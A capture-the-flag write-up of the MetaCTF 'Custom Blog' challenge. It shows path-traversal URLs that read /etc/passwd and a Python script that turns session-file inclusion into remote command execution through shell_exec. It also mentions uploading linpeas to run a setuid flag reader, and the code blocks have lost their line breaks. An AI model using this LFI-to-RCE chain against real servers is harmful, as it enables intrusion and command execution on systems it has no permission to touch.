# Custom Blog
We got greeted with this challenge server http://host.cg21.metaproblems.com:4130/which shows multiple blog entries which seems to be loaded as a file over include or require.
To test this we tried to include a familiar file from the host with path traversal.
```http://host.cg21.metaproblems.com:4130/post.php?post=../etc/passwdhttp://host.cg21.metaproblems.com:4130/post.php?post=../../etc/passwdhttp://host.cg21.metaproblems.com:4130/post.php?post=../../../etc/passwdhttp://host.cg21.metaproblems.com:4130/post.php?post=../../../../etc/passwd```And we found the content of the /etc/passwd file
```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinflag:x:999:999::/home/flag:/usr/sbin/nologin```
That was quite easy, so we assumed that we can easily execute php code with the common practices.
So we tried:```http://host.cg21.metaproblems.com:4130/post.php?post=../../../../proc/self/environ```
Which did not return anything, so we tried log poisoning but where unable to find or read anny meaningful log which we could influence.We also knew that we could not abuse the wrapper due the prepending of the `posts/` in the post syntax. (Known from the source)
```php
<html lang="en">  <head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title></title>    <link rel="stylesheet" href="/style.css">   </head>  <body>    ' . htmlentities($_GET['post']) . '</h1><hr><div class="post">';        include $post;        echo '</div>';      } else {        echo '<h1>post not found :(</h1><hr>';      }    ?> home  </body></html>```
So we were pretty stuck until we noticed that there is a session available in which we can add data.So we injected some php code in the `theme` session variable. That could be done over:```http://host.cg21.metaproblems.com:4130/set.php?theme=```
This session variable is saved in the user session, per default the php session handler is file based,so we tried to locate the directory where they are located.Its achievable because we know the schema which the file is created: `/xxx/xxx/sess_{SESSIONID}` the session id can be taken from the php session used from the client which fired the above request.and the xxx directories need to be found.We found our directory under /tmp/ so we went further to create a small exploit script which could run arbitary code:
```pyimport base64
import requests
def stage_one():    se = requests.session()    se.get(        "http://host.cg21.metaproblems.com:4130/set.php?theme=")    return se
def stage_two(s, cmd):    sessionid = s.cookies.get("PHPSESSID")    res = s.post(        "http://host.cg21.metaproblems.com:4130/post.php?post=../../../../tmp/sess_" + sessionid,        data={"code": "print(shell_exec(base64_decode('" + str(base64.b64encode(cmd.encode("utf-8")), "utf-8") + "')));"})    print(res.content.decode())    pass
s = stage_one()stage_two(s, "ls -all")```
Now where we can execute commands we can run any commands. We found setuid binary called /flag/flagreader by uploading linpeas to the server.
So we could just run
```pystage_two(s, "/flag/flagreader")```
And got the flag```MetaCTF{wh4t??lfi_1s_ev0lv1ng??}```